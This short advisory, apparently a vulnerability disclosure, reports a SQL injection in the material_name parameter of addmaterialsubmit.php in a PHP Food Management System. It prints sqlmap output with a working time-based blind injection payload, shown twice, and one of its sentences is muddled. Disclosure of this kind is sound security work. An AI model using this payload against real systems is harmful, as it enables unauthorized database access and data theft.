SQL injection vulnerability exists in material_name parameter of addmaterialsubmit.php file of Food Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.


```
sqlmap identified the following injection point(s) with a total of 366 HTTP(s) requests:
---
Parameter: MULTIPART material_name ((custom) POST)
    Type: time-based blind
    Title: MySQL ≥ 5.0.12 RLIKE time-based blind
    Payload: ————————YWJkMTQzNDcw
Content-Disposition: form-data; name="in_date"

03-01-2024
————————YWJkMTQzNDcw
Content-Disposition: form-data; name="material_name"

0' RLIKE SLEEP(5) AND 'VnbR'='VnbR
————————YWJkMTQzNDcw--
---
```

"

Parameter: MULTIPART material_name ((custom) POST)

    Type: time-based blind

    Title: MySQL >= 5.0.12 RLIKE time-based blind

    Payload: ------------YWJkMTQzNDcw

Content-Disposition: form-data; name="in_date"

03-01-2024

------------YWJkMTQzNDcw

Content-Disposition: form-data; name="material_name"

0' RLIKE SLEEP(5) AND 'VnbR'='VnbR

------------YWJkMTQzNDcw--

"

Source Download：

https://www.kashipara.com/project/php/12086/food-management-system-php-project-source-code